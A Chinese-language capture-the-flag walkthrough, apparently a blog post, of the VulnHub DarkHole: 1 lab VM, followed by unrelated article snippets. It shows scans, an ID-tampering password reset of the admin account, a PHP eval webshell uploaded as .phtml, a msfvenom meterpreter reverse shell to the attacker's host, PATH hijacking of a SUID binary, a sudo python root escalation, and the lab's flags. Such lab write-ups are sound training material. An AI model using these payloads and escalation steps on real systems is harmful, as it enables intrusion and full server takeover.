当前位置: 首页 > news >正文

[vulnhub] DarkHole: 1

https://www.vulnhub.com/entry/darkhole-1,724/

端口扫描主机发现

  1. 探测存活主机,184是靶机

    nmap -sP 192.168.75.0/24
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00016s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.184
    Host is up (0.00032s latency).
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:FE:CA:7A (VMware)
    Nmap scan report for 192.168.75.151
    
  2. 探测主机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0011s latency).
    Not shown: 65533 closed tcp ports (conn-refused)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    
  3. 探测服务版本以及系统版本

    nmap -sV -sT -O -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0022s latency).PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.00057s latency).PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    | http-csrf: 
    | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |       httponly flag not set
    |   /login.php: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    | http-enum: 
    |   /login.php: Possible admin folder
    |   /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    

web渗透

  1. 访问主页,存在登录页面链接

    在这里插入图片描述

  2. 先扫描目录看看

    dirsearch -u http://192.168.75.184 -x 403,404 
    //
    [10:07:48] Starting:                                                                                                                                         
    [10:07:48] 301 -  313B  - /js  ->  http://192.168.75.184/js/                
    [10:08:10] 301 -  317B  - /config  ->  http://192.168.75.184/config/        
    [10:08:10] 200 -  460B  - /config/                                          
    [10:08:11] 301 -  314B  - /css  ->  http://192.168.75.184/css/              
    [10:08:12] 200 -   21B  - /dashboard.php                                    
    [10:08:21] 200 -  487B  - /js/                                              
    [10:08:23] 200 -    1KB - /login.php                                        
    [10:08:24] 302 -    0B  - /logout.php  ->  login.php                        
    [10:08:35] 200 -    1KB - /register.php                                     
    [10:08:45] 301 -  317B  - /upload  ->  http://192.168.75.184/upload/        
    [10:08:45] 200 -  456B  - /upload/       
    
    • /dashboard.php 无权限
    • /upload 上传文件夹
    • /config 存在database.php
  3. 登陆页面存在注册,我们注册用户test登录

    进去后发现可以update信息以及更改密码,感觉会存在注入

    在这里插入图片描述

  4. 测试是否存在注入

    • Details Update 部分

      使用sqlmap测试没找到注入点

    • Password Change 部分

      这部分没注入….但是修改密码区域可以抓包将传入的id值修改,我们可以将其修改为id=1的用户(可能是管理用户)

      POST /dashboard.php?id=2 HTTP/1.1
      Host: 192.168.75.184
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 20
      Origin: http://192.168.75.184
      Sec-GPC: 1
      Connection: keep-alive
      Referer: http://192.168.75.184/dashboard.php?id=2
      Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu
      Upgrade-Insecure-Requests: 1
      Priority: u=0, ipassword=123456&id=1
      

      成功将包发送,提示Password has been change

  5. 登陆后台,用户名使用admin ,密码是用修改后的123456 ,成功进入

    在这里插入图片描述

    多了个上传文件框

  6. 尝试文件上传上传🐎

    • 直接上传2.php ,内容是一句马,提示:Sorry , Allow Ex : jpg,png,gif 看着像是白名单

    • 尝试了一下,不只是可以上传jpg,png,gif ,其他文件也可以,所以更像是把php类的文件后缀放进黑名单了

    • 这里涉及到一些文件上传CTF的套路,我们将php改为其他可以解释为php文件的后缀,我将其修改为phtml ,上传成功(我是抓包后修改的,也可以直接修改文件后缀然后直接上传)

      Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml"
      Content-Type: application/octet-stream<?php @eval($_POST[x]); ?>
      
    • 上传的文件保存在了/upload路径,测试能否使用

      在这里插入图片描述

      可以正常包含

  7. 使用蚁🗡连接

    在这里插入图片描述

提权

  1. 我们先反弹shell ,靶机自带的nc不支持-e ,所以我们需要上传反弹shell脚本然后包含

    • 生成脚本

      msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php
      [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
      [-] No arch selected, selecting arch: php from the payload
      No encoder specified, outputting raw payload
      Payload size: 1115 bytes
      
    • 在蚁🗡将脚本上传upload文件夹里

      在这里插入图片描述

    • kali打开msf监听

      msf6 > use exploit/multi/handler 
      [*] Using configured payload generic/shell_reverse_tcp
      msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
      payload => php/meterpreter/reverse_tcp
      msf6 exploit(multi/handler) > set lhost 192.168.75.151
      lhost => 192.168.75.151
      msf6 exploit(multi/handler) > set lport 1234
      lport => 1234
      msf6 exploit(multi/handler) > run
      
    • 网页访问上传的脚本文件

      在这里插入图片描述

    • 获得shell

      [*] Started reverse TCP handler on 192.168.75.151:1234 
      [*] Sending stage (39927 bytes) to 192.168.75.184
      [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800meterpreter > 
      

      输入shell获得shell命令行

  2. 查看权限

    $ whoami
    www-data
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ uname -a
    Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    
  3. 寻找利用点

    • SUID权限

      $ find / -perm -u=s -type f 2>/dev/null
      /usr/lib/snapd/snap-confine
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/bin/su
      /usr/bin/at
      /usr/bin/umount
      /usr/bin/pkexec
      /usr/bin/sudo
      /usr/bin/passwd
      /usr/bin/chfn
      /usr/bin/chsh
      /usr/bin/gpasswd
      /usr/bin/fusermount
      /usr/bin/newgrp
      /usr/bin/mount
      /home/john/toto
      

      /home/john/toto 这个一看就不对劲

    • 数据库配置文件

      $ cat database.php
      <?php
      $connect = new mysqli("localhost",'john','john','darkhole');
      

      可以尝试密码碰撞ssh,但是密码错误

  4. 来到/home/john/ ,下有四个文件

    $ ls
    file.py
    password
    toto
    user.txt
    

    但是除了toto有读和执行权限,别的都没有权限,前面suid也搜索出了toto ,尝试利用

  5. 利用toto

    • 因为不知道有什么作用,我们直接执行

      $ ./toto
      uid=1001(john) gid=33(www-data) groups=33(www-data)
      
    • 我们通过蚁🗡下载该文件下来,使用IDA反编译看看写了啥

      int __fastcall main(int argc, const char **argv, const char **envp)
      {setuid(0x3E9u);setgid(0x3E9u);return system("id");
      }
      

      设置UID然后设置GID最后输出ID命令

    • 劫持环境变量

      因为他会执行id ,所以我们修改环境变量让他执行id的时候执行/bin/bash

      $ echo "/bin/bash" > /tmp/id
      $ chmod 777 /tmp/id
      $ export PATH=/tmp:$PATH 
      

      $ export PATH=/tmp:PATH 设置/tmp为环境变量的开头,那样就可以一开始就去/tmp寻找 id 也就是/bin/bash

      执行toto ,获得john的shell

      $ ./toto
      john@darkhole:/home/john$
      
  6. 获得john的用户后查看之前没权限看的文件

    • passwordjohn的密码,我们用它去ssh登录john获得更好的用户交互shell

      john@darkhole:~$ cat password 
      root123
      
    • file.py是空的

      ohn@darkhole:~$ cat file.py 
    • user.txt 一个flag

      john@darkhole:~$ cat user.txt 
      DarkHole{You_Can_DO_It}
      
  7. 寻找利用点

    • 查看sudo权限

      john@darkhole:~$ sudo -l
      [sudo] password for john: 
      Matching Defaults entries for john on darkhole:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser john may run the following commands on darkhole:(root) /usr/bin/python3 /home/john/file.py
      

      可以使用root权限执行file.py文件,哦豁,可以提权了

    • 编辑file.py文件,将提权语句写入file.py

      ehco "import os;os.system('/bin/bash');" >> file.py
      
    • 使用sudo权限执行

      john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py 
      root@darkhole:
      

      获得root!!!

  8. 读取flag文件

    root@darkhole:~# cat root.txt 
    DarkHole{You_Are_Legend}
    

相关文章:

[vulnhub] DarkHole: 1

https://www.vulnhub.com/entry/darkhole-1,724/ 端口扫描主机发现 探测存活主机&#xff0c;184是靶机 nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.1 Host is up (0.00027s latency). MA…...

商淘云连锁企业管理五大功能 收银系统助力门店进销存同步

连锁企业管理的五大功能相互协作&#xff0c;共同确保连锁门店能够高效运营、降低成本、提升客户满意度&#xff0c;并最终实现盈利目标。今天&#xff0c;商淘云分享连锁企业管理的五大功能&#xff1a; 1、进销存管理&#xff1a;进销存管理是连锁企业的基础功能之一&#xf…...

统信UOS开发环境支持Perl

UOS凭借广泛的编程语言支持,为开发者构建了一个高效灵活的开发环境,无需担心环境兼容性问题。 文章目录 一、环境部署1. Perl开发环境安装2. Perl开发环境配置环境变量配置模块管理器编辑器集成调试工具二、代码示例文件处理Web开发三、常见问题1. 依赖管理问题2. 性能问题3.…...

Stable Diffusion Web UI - ControlNet 姿势控制 openpose

openpose 是 ControlNet 中常用的控制模式之一。 通过 openpose 可以锁定人物姿势&#xff0c;把姿势信息传递给 Stable Diffusion 扩散模型&#xff0c;让其在扩散生成图片的时候遵照特定的任务姿势。 通过 openpose 能够得到类似如下效果&#xff1a; 同样的姿势&#xff0…...

java中Json字符串转换

文章目录 map与json互转map转jsonmap形式的json转map list与json互转list转jsonlist形式的json转list map形式的json串中含有列表转列表 map与json互转 map转json JSONObject.toJSONString(map); public static void main(String[] args) {Map<String, Object> map n…...

springboot处理跨域请求

在Spring Boot中处理跨域请求&#xff08;CORS, Cross-Origin Resource Sharing&#xff09;通常有几种方法。跨域请求是指从一个域名的网页去请求另一个域名下的资源。为了安全起见&#xff0c;浏览器会阻止这种请求&#xff0c;除非服务器明确允许。 方法一&#xff1a;使用…...

S32G-VNP-RDB2开发环境搭建

下载官方镜像 刷机 cat /proc/partition or df -lh //查看sdcard卡再/dev目录挂在点 export DEVSD/dev/sdb sudo dd iffsl-image-auto-s32g274ardb2.sdcard of${DEVSD} bs1M && sync以上将SD-card插入就可以将开发板启动&#xff0c;串口接UART1&#xff0c;进入Lin…...

分布式唯一ID生成(二): leaf

文章目录 本系列前言号段模式双buffer优化biz优化动态step源码走读 雪花算法怎么设置workerId解决时钟回拨源码走读 总结 本系列 漫谈分布式唯一ID分布式唯一ID生成&#xff08;二&#xff09;&#xff1a;leaf&#xff08;本文&#xff09;分布式唯一ID生成&#xff08;三&am…...

【开发工具】Git

目录 核心概念基本命令工作流程Commit message Git 是一个分布式版本控制系统&#xff0c;用于跟踪在软件开发过程中对文件的修改。它允许多个开发者协作处理项目&#xff0c;并且可以有效地管理代码的历史记录。以下是 Git 的一些核心概念和功能&#xff1a; 核心概念 仓库 (R…...

【go从零单排】结构嵌套struct embedding

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在Go语言中&#xff0c;结构体嵌套&#xff08;struct embedding&#xff09;是一…...

Django 详细入门介绍

Django 详细入门介绍 1. 什么是 Django&#xff1f; Django 是一个开源的、用 Python 编写的 Web 框架。它遵循了“快速开发”和“不要重复自己”&#xff08;DRY&#xff09;的设计原则&#xff0c;旨在简化复杂的 Web 开发。Django 提供了多种强大的功能模块&#xff0c;如…...

万字长文解读深度学习——循环神经网络RNN、LSTM、GRU、Bi-RNN

&#x1f33a;历史文章列表&#x1f33a; 深度学习——优化算法、激活函数、归一化、正则化深度学习——权重初始化、评估指标、梯度消失和梯度爆炸深度学习——前向传播与反向传播、神经网络&#xff08;前馈神经网络与反馈神经网络&#xff09;、常见算法概要汇总万字长文解读…...

HDR视频技术之二:光电转换与 HDR 图像显示

将自然界中的真实场景转换为屏幕上显示出来的图像&#xff0c;往往需要经过两个主要的步骤&#xff1a;第一个是通过摄影设备&#xff0c;将外界的光信息转换为图像信息存储起来&#xff0c;本质上是存储为数字信号&#xff1b;第二个是通过显示设备&#xff0c;将图像信息转换…...

【Linux】Linux入门实操——vim、目录结构、远程登录、重启注销

一、Linux 概述 1. 应用领域 服务器领域 linux在服务器领域是最强的&#xff0c;因为它免费、开源、稳定。 嵌入式领域 它的内核最小可以达到几百KB, 可根据需求对软件剪裁&#xff0c;近些年在嵌入式领域得到了很大的应用。 主要应用&#xff1a;机顶盒、数字电视、网络…...

Redis的缓存问题与应对策略

Redis 作为一种高效的缓存系统&#xff0c;在高并发环境下应用广泛&#xff0c;但也面临一些缓存问题&#xff0c;以下是常见问题及其应对策略。 1. 缓存穿透 问题描述 缓存穿透是指请求的数据在缓存和数据库中都不存在&#xff0c;但大量请求直接到达数据库&#xff0c;从而给…...

Java项目实战II基于Spring Boot的智慧生活商城系统的设计与实现(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 一、前言 随着科技的飞速发展&#xff0c;人们的…...

每日一题之成绩排序

在N&#xff08;N<30&#xff09;名运动员参加的体操比赛中&#xff0c;有K&#xff08;K<10&#xff09;名裁判给每位运动员分别打分&#xff0c; 按规则每名运动员最后得分需去掉一个最高分和一个最低分&#xff0c; 然后把其他裁判的打分相加&#xff0c;计算得出该运…...

QT Widget:使用技巧

1、Qt中的QString和const char *之间转换&#xff0c;最好用toStdString().c_str()而不是toLocal8Bit().constData()&#xff0c;比如在setProperty中如果用后者&#xff0c;字符串中文就会不正确&#xff0c;英文正常。 2、数据库处理一般建议在主线程&#xff0c;如果非要在…...

深入Zookeeper节点操作:高级功能与最佳实践

Zookeeper之节点基本操作&#xff08;二&#xff09; 在《Zookeeper之节点基本操作&#xff08;一&#xff09;》中&#xff0c;我们介绍了如何创建、读取、更新、删除节点的基本操作。接下来将进一步探讨Zookeeper中节点的进阶操作和更多细节&#xff0c;包括节点的监视&…...

【C++】map和set的介绍及使用

前言&#xff1a; map和 set 是 C STL&#xff08;标准模板库&#xff09;中的两种非常重要的容器&#xff0c;它们基于一种叫做平衡二叉搜索树&#xff08;通常是红黑树&#xff09;的数据结构来实现。在 C 中&#xff0c;map 是一个键值对容器&#xff0c;set 只存储唯一的键…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销&#xff0c;平衡网络负载&#xff0c;延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

Robots.txt 文件

什么是robots.txt&#xff1f; robots.txt 是一个位于网站根目录下的文本文件&#xff08;如&#xff1a;https://example.com/robots.txt&#xff09;&#xff0c;它用于指导网络爬虫&#xff08;如搜索引擎的蜘蛛程序&#xff09;如何抓取该网站的内容。这个文件遵循 Robots…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!

简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求&#xff0c;并检查收到的响应。它以以下模式之一…...

RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)

RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发&#xff0c;后来由Pivotal Software Inc.&#xff08;现为VMware子公司&#xff09;接管。RabbitMQ 是一个开源的消息代理和队列服务器&#xff0c;用 Erlang 语言编写。广泛应用于各种分布…...

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序&#xff08;Program&#xff09; 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序&#xff0c;比如我们使用QQ&#xff0c;就启动了一个进程&#xff0c;操作系统就会为该进程分配内存…...

掌握 HTTP 请求:理解 cURL GET 语法

cURL 是一个强大的命令行工具&#xff0c;用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中&#xff0c;cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...

Python 训练营打卡 Day 47

注意力热力图可视化 在day 46代码的基础上&#xff0c;对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...